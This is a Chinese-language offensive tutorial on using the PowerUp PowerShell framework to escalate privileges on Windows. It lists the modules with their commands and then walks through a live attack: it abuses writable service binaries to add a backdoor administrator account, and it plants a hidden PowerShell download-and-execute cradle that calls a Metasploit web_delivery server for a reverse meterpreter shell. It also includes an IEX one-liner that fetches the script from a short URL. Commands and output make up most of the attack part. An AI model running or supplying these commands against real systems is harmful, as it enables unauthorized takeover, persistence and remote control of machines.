Powershell 提權框架-Powerup
0x00 簡介
通常,在Windows下面我們可以透過核心漏洞來提升許可權,但是,我們常常會碰到所處伺服器透過核心漏洞提權是行不通的,這個時候,我們就需要透過脆弱的Windows服務提權,比如我們替換掉服務所依賴的DLL檔案,當服務重啟時,載入我們替換的DLL檔案從而完成比如新增管理員賬號的操作。或者透過常見的Mssql,Mysql等服務,透過其繼承的系統許可權來完成提權等等,而今天我將介紹一個非常實用的Powershell框架-Powerup,此框架可以在核心提權行不通的時候,幫助我們尋找伺服器脆弱點進而透過脆弱點實現提權的目的。
0x01 使用
要使用Powerup,首先需要下載此指令碼:Powerup,之後載入此指令碼:
#!bash
E:> powershell.exe -nop -exec bypass
PS E:\> Import-Module .\PowerUp.psm1
載入完成以後,便可以使用Powerup中的所有模組了。
透過如下命令可以檢視所有模組:
#!bash
PS E:\> Get-Command -Module powerup
輸入可以透過tab鍵來自動補全,如果要檢視各個模組的詳細說明,可以使用"Get-help [cmdlet] -full
"來檢視,比如"Get-Help Find-DLLHijack -full
", 如果要將輸出的結果匯出到一個檔案可以使用Out-File
,如下:
#!bash
PS E:\> Invoke-AllChecks | Out-File -Encoding ASCII checks.txt
上述命令使用了Invoke-AllChecks,指令碼將會進行所有的檢查
在cmd環境下,可以使用下列方式來執行該指令碼:
#!bash
E:\> powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
如果你想在記憶體載入此指令碼,可以用下列方式:
#!bash
E:\> powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfP'); Invoke-AllChecks"
除此之外,Metasploit上同樣包含執行powershell指令碼的模組exec_powershell.rb,透過此模組,可以透過msf會話來執行powershell。
0x02 模組介紹
Find-DLLHijack
檢查每個程式所載入的模組,返回已經載入且不在其可執行目錄的模組的目錄。
執行方式:
#!bash
PS C:\> Find-DLLHijack #返回所有的dll路徑
PS C:\> Find-DLLHijack -ExcludeWindows -ExcludeProgramFiles #返回排除C:\Windows\*; C:\Program Files\*;C:\Program Files (x86)\*以外的dll路徑
PS C:\> Find-DLLHijack -ExcludeOwned #返回不屬於當前使用者所有程式許可權的dll路徑
Find-PathHijack
檢查當前%PATH%
是否存在哪些目錄是當前使用者可以寫入的。
執行方式:
#!bash
PS C:\> Find-PathHijack
Get-ApplicationHost
從系統上的applicationHost.config檔案恢復加密過的應用池和虛擬目錄的密碼。
執行方式:
#!bash
PS C:\>get-ApplicationHost
PS C:\>get-ApplicationHost | Format-Table -Autosize # 列表顯示
Get-ModifiableFile
檢查某個檔案當前使用者是否擁有修改許可權,並返回有許可權的檔案路徑。
執行方式:
#!bash
PS C:\> '"E:\temp\123123.xlsx" -f "C:\LibAntiPrtSc_ERROR.log"' | Get-ModifiableFile
前面為檔案路徑
Get-RegAlwaysInstallElevated
檢查AlwaysInstallElevated登錄檔項是否被設定,如果被設定,意味著的MSI檔案是以system許可權執行的。
執行方式:
#!bash
PS C:\> Get-RegAlwaysInstallElevated
Get-RegAutoLogon
檢測Winlogin登錄檔AutoAdminLogon項有沒有被設定,可查詢預設的使用者名稱和密碼。與msf windows_autologin.rb模組相同。
執行方式:
#!bash
PS C:\> Get-RegAutoLogon
Get-ServiceDetail
返回某服務的資訊。
執行方式:
#!bash
PS C:\> Get-ServiceDetail -ServiceName Dhcp #獲取DHCP服務的詳細資訊
Get-ServiceFilePermission
檢查當前使用者能夠在哪些服務的目錄寫入相關聯的可執行檔案,透過這些檔案可達到提權的目的。
執行方式:
#!bash
PS C:\> Get-ServiceFilePermission
Get-ServicePermission
檢查所有可用的服務,並嘗試對這些開啟的服務進行修改,如果可修改,則返回該服務物件。
執行方式:
#!bash
PS C:\> Get-ServicePermission
Get-ServiceUnquoted
檢查服務路徑,返回包含空格但是不帶引號的服務路徑,類似於msf的trusted_service_path.rb。
此處利用的windows的一個邏輯漏洞,即當檔案包含空格時,windows API會解釋為兩個路徑,並將這兩個檔案同時執行,有些時候可能會造成許可權的提升。
比如
C:\program files\hello.exe
,會被解釋為C:\program.exe
以及C:\program files\hello.exe
執行方式:
#!bash
PS C:\>Get-ServiceUnquoted
Get-UnattendedInstallFile
檢查幾個路徑,查詢是否存在這些檔案,在這些檔案裡可能包含有部署憑據。這些檔案包括:
- c:\sysprep\sysprep.xml
- c:\sysprep\sysprep.inf
- c:\sysprep.inf
- c:\windows\Panther\Unattended.xml
- c:\windows\Panther\Unattend\Unattended.xml
- c:\windows\Panther\Unattend.xml
- c:\windows\Panther\Unattend\Unattend.xml
- c:\windows\System32\Sysprep\unattend.xml
- c:\windows\System32\Sysprep\Panther\unattend.xml
執行方式:
#!bash
PS C:\> Get-UnattendedInstallFile
Get-VulnAutoRun
檢查開機自啟的應用程式路徑和登錄檔鍵值,返回當前使用者可修改的程式路徑。
登錄檔檢查的鍵值為:
#!bash
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
執行方式:
#!bash
PS C:\> Get-VulnAutoRun
Get-VulnSchTask
返回當前使用者能夠修改的計劃任務程式的名稱和路徑。
執行方式:
#!bash
PS C:\> Get-VulnSchTask
Get-Webconfig
返回當前伺服器上的web.config檔案中的資料庫連線字串的明文。
執行方式:
#!bash
PS C:\>get-webconfig
PS C:\>get-webconfig | Format-Table -Autosize #列表顯示
Invoke-AllChecks
執行所有的指令碼來檢查。
執行方式:
#!bash
PS C:\> Invoke-AllChecks
Invoke-Service
- Invoke-ServiceDisable 禁用服務
- Invoke-ServiceEnable 啟用服務
- Invoke-ServiceStart 啟動服務
- Invoke-ServiceStop 停止服務
執行方式為:
#!bash
PS C:\> Invoke-ServiceDisable -ServiceName 服務名稱。
- Invoke-ServiceAbuse
用來透過修改服務新增使用者到指定組,並可以透過定製-cmd引數觸發新增使用者的自定義命令。
執行方式:
#!bash
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC # 新增預設賬號
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定新增域賬號
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定新增使用者,使用者密碼以及新增的使用者組。
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..." # 自定義執行命令
預設的賬號可以透過修改預設引數來修改,如下圖:
Restore-ServiceBinary
恢復服務的可執行檔案到原始目錄。
執行方式:
#!bash
PS C:\> Restore-ServiceBinary -ServiceName VulnSVC
Test-ServiceDaclPermission
檢查某個使用者是否在一個服務有自由訪問控制的許可權,返回true或false。
執行方式:
#!bash
PS C:\> Restore-ServiceBinary -ServiceName VulnSVC
Write-HijackDll
輸出一個自定義命令並且能夠自刪除的bat檔案到$env:Temp\debug.bat,並輸出一個能夠啟動這個bat檔案的dll。
執行方式:
#!bash
PS C:\> Write-HijackDll -OutputFile 'E:\temp\test.dll' -Command 'whoami'
Write-UserAddMSI
生成一個安裝檔案,執行這個安裝檔案,則彈出新增使用者的框。
執行方式:
#!bash
PS C:\> Write-UserAddMSI
Write-ServiceBinary
預編譯C#服務的可執行檔案。預設建立一個預設管理員賬號。可透過Command定製自己的命令。
執行方式:
#!bash
PS C:\> Write-ServiceBinary -ServiceName VulnSVC # 新增預設賬號
PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定新增域賬號
PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定新增使用者,使用者密碼以及新增的使用者組。
PS C:\> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定義執行命令
Install-ServiceBinary
透過Write-ServiceBinary寫一個C#的服務用來新增使用者。
執行方式:
#!bash
PS C:\> Install-ServiceBinary -ServiceName DHCP
PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john"
PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
PS C:\> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."
Write-ServiceBinary
與Install-ServiceBinary
不同的是前者生成可執行檔案,後者直接安裝服務。
0x03 實戰提權
測試環境為win10。平常用的虛擬機器,並沒有特意去配置存在漏洞的環境,所以並不是所有的模組均可以使用。實際測試可以根據實際環境來調整。此次測試並未使用核心漏洞來提權。
首先新增低許可權測試賬號,使用管理員身份執行cmd,新增測試賬號:
#!bash
C:\Windows\system32>net user powerup 1 /add
檢視powerup賬號許可權:
使用powerup賬號登陸系統,載入Powerup:
執行Invoke-AllChecks:
#!bash
PS E:\> Invoke-AllChecks
執行以後找到下列問題:
#!bash
[*] Checking for unquoted service paths...
ServiceName : CDROM_Detect
Path : C:\Program Files\4G USB Modem\4G_Eject.exe
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'CDROM_Detect' -Path <HijackPath>
ServiceName : hMailServer
Path : C:\Program Files (x86)\hMailServer\Bin\hMailServer.exe RunAsService
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'hMailServer' -Path <HijackPath>
[*] Checking service executable and argument permissions...
ServiceName : wampapache
Path : "c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe" -k runservice
ModifiableFile : c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -ServiceName 'wampapache'
ServiceName : wampmysqld
Path : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe wampmysqld
ModifiableFile : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -ServiceName 'wampmysqld'
可以看出,Powerup列出了可能存在問題的服務,並在AbuseFunction中給了接下來的利用方式。在上面兩個利用點可以看出,unquoted service paths
中給出了兩個路徑帶空格的檔案路徑,但是因為其在c盤,沒有許可權,所以並不能被我們利用來提權。而第二個檢查透過Get-ServiceFilePermission
找到兩個當前使用者可以寫入相關聯可執行檔案的路徑,我們就可以透過這個來進行提權。在AbuseFunction那裡已經給了我們操作方式,接下來我們執行如下操作:
#!bash
PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -UserName rockyou -Password 123
之後當管理員執行該服務的時候,則會新增我們的賬號,執行前:
執行服務以後:
檢視該賬號許可權:
當然,除了新增賬號,我們同樣可使用msf獲得meterpreter會話。
使用web_delivery
模組開啟監聽:
#!bash
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set URIPATH /
URIPATH => /
msf exploit(web_delivery) > set lport 8888
lport => 8888
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set SRVPORT 8080
SRVPORT => 8080
msf exploit(web_delivery) > set LHOST 192.168.74.1
msf exploit(web_delivery) > exploit
執行如下命令:
#!bash
PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -Command "powershell.exe -nop -w hidden -c `$m=new-object net.webclient;`$m.proxy=[Net.WebRequest]::GetSystemWebProxy();`$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX `$m.downloadstring('http://192.168.74.1:8080/');"
要注意
$
符號前面要加`來轉義
當管理員執行此服務以後則獲取高許可權的meterpreter會話
提權以後,使用Restore-ServiceBinary
恢復檔案:
#!bash
PS E:\> Restore-ServiceBinary -ServiceName 'wampapache'
可以看到,我們使用powerup成功提權了。當然碰到實際的環境可以根據不同環境不同方式來進行提權。
0x05 小結
Powerup提供了一些我們並不常見的提權方式,並且為我們的Windows提權提供了極大的方便,如果碰到未安裝Powershell的計算機,可以詳細參考Powerup裡面的函式實現過程來透過別的方式來實現同樣的效果,希望本文對你有幫助。
本文由evi1cg原創並首發於烏雲drops,轉載請註明
相關文章
- Linux提權————利用SUID提權2018-05-23LinuxUI
- Windows提權實戰——————3、PcAnyWhere提權2018-05-20WindowsPCA
- Linux提權-70種sudo提權彙總2024-08-29Linux
- windows提權--組策略首選項提權2024-07-31Windows
- Linux 提權2018-11-29Linux
- 本地提權2020-10-17
- Linux提權2024-08-07Linux
- linux sudo提權2024-08-20Linux
- Linux 提權-Capabilities2024-06-17Linux
- windows提權 (一)2024-07-26Windows
- mysql UDF提權2022-01-31MySql
- SQL Sever提權2021-06-22SQL
- Windows令牌竊取提權和爛土豆提權學習2024-08-03Windows
- Windows提權實戰——————1、IIS6.exe提權實戰2018-05-14Windows
- Linux提權————Linux下三種不同方式的提權技巧2018-05-16Linux
- Linux提權-許可權升級2023-03-11Linux
- Windows提權系列————上篇2018-05-13Windows
- Windows提權系列————下篇2018-05-13Windows
- Windows提權總結2020-02-21Windows
- 提權 | Windows系統2024-10-23Windows
- MySQL UDF 提權初探2024-08-07MySql
- Linux 提權-MySQL UDF2024-06-18LinuxMySql
- bulldog_1 提權2024-07-08
- Linux 提權-NFS 共享2024-07-18LinuxNFS
- Linux 提權-LXD 容器2024-06-27Linux
- Linux 提權-Docker 容器2024-06-29LinuxDocker
- Linux 提權-Cron Jobs2024-06-06Linux
- Linux 提權-核心利用2024-06-04Linux
- Linux-SUID提權2022-04-29LinuxUI
- 提權學習筆記2018-06-07筆記
- DC-4-teehee提權2024-05-04
- DC-5-screen提權2024-05-04
- DC-9-sudo提權2024-05-04
- Linux 提權-Sudo_12024-05-17Linux
- Linux 提權-Sudo_22024-05-17Linux
- Windows PrintDemon提權漏洞分析2020-05-25Windows
- Windows提權方式彙總2024-08-25Windows
- Potato家族本地提權分析2020-12-01